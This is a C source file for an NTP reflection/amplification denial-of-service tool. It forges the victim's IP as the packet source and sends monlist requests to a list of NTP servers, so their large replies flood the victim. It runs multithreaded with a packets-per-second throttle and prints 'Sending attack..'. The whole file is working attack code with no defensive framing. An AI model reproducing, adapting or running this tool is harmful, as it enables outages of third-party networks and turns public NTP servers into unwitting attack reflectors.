ntp.c

/*  
 *  This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products.
 */

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
	struct sockaddr_in data;
	struct list *next;
	struct list *prev;
};
struct list *head;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
	int i;
	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;
	for (i = 3; i < 4096; i++)
	{
	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
	}
}
uint32_t rand_cmwc(void)
{
	uint64_t t, a = 18782LL;
	static uint32_t i = 4095;
	uint32_t x, r = 0xfffffffe;
	i = (i + 1) & 4095;
	t = a * Q[i] + c;
	c = (t >> 32);
	x = t + c;
	if (x < c) {
	x++;
	c++;
	}
	return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
	unsigned long sum = 0;
	for (sum = 0; nwords > 0; nwords--)
	sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
	iph->id = htonl(54321);
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = IPPROTO_UDP;
	iph->check = 0;
	iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(5678);
        udph->dest = htons(123);
        udph->check = 0;
        memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
        udph->len=htons(sizeof(struct udphdr) + 8);
}
void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct  list *list_node = td->list_node;
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if(s < 0){
	fprintf(stderr, "error. got r00t?\n");
	exit(-1);
	}
	init_rand(time(NULL));
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	setup_udp_header(udph);
	udph->source = htons(rand() % 65535 - 1026);
	iph->saddr = sin.sin_addr.s_addr;
	iph->daddr = list_node->data.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
	fprintf(stderr, "error. u dun goofed.\n");
	exit(-1);
	}
	init_rand(time(NULL));
	register unsigned int i;
	i = 0;
	while(1){
	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
	list_node = list_node->next;
	iph->daddr = list_node->data.sin_addr.s_addr;
	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	pps++;
	if(i >= limiter)
	{
	i = 0;
	usleep(sleeptime);
	}
	i++;
	}
}
int main(int argc, char *argv[ ])
{
	if(argc < 5){
	fprintf(stderr, "Invalid parameters!\n");
	fprintf(stdout, "Usage: %s [IP] [file] [threads] [limiter] [time]\n", argv[0]);
	exit(-1);
	}
	srand(time(NULL));
	int i = 0;
	head = NULL;
	fprintf(stdout, "Opening sockets...\n");
	int max_len = 128;
	char *buffer = (char *) malloc(max_len);
	buffer = memset(buffer, 0x00, max_len);
	int num_threads = atoi(argv[3]);
	int maxpps = atoi(argv[4]);
	limiter = 0;
	pps = 0;
	int multiplier = 20;
	FILE *list_fd = fopen(argv[2],  "r");
	while (fgets(buffer, max_len, list_fd) != NULL) {
	if ((buffer[strlen(buffer) - 1] == '\n') ||
	(buffer[strlen(buffer) - 1] == '\r')) {
	buffer[strlen(buffer) - 1] = 0x00;
	if(head == NULL)
	{
	head = (struct list *)malloc(sizeof(struct list));
	bzero(&head->data, sizeof(head->data));
	head->data.sin_addr.s_addr=inet_addr(buffer);
	head->next = head;
	head->prev = head;
	} else {
	struct list *new_node = (struct list *)malloc(sizeof(struct list));
	memset(new_node, 0x00, sizeof(struct list));
	new_node->data.sin_addr.s_addr=inet_addr(buffer);
	new_node->prev = head;
	new_node->next = head->next;
	head->next = new_node;
	}
	i++;
	} else {
	continue;
	}
	}
	struct list *current = head->next;
	pthread_t thread[num_threads];
	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	struct thread_data td[num_threads];
	for(i = 0;i<num_threads;i++){
	td[i].thread_id = i;
	td[i].sin= sin;
	td[i].list_node = current;
	pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
	}
	fprintf(stdout, "Sending attack..\n");
	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
	{
	usleep((1000/multiplier)*1000);
	if((pps*multiplier) > maxpps)
	{
	if(1 > limiter)
	{
	sleeptime+=100;
	} else {
	limiter--;
	}
	} else {
	limiter++;
	if(sleeptime > 25)
	{
	sleeptime-=25;
	} else {
	sleeptime = 0;
	}
	}
	pps = 0;
	}
	return 0;
}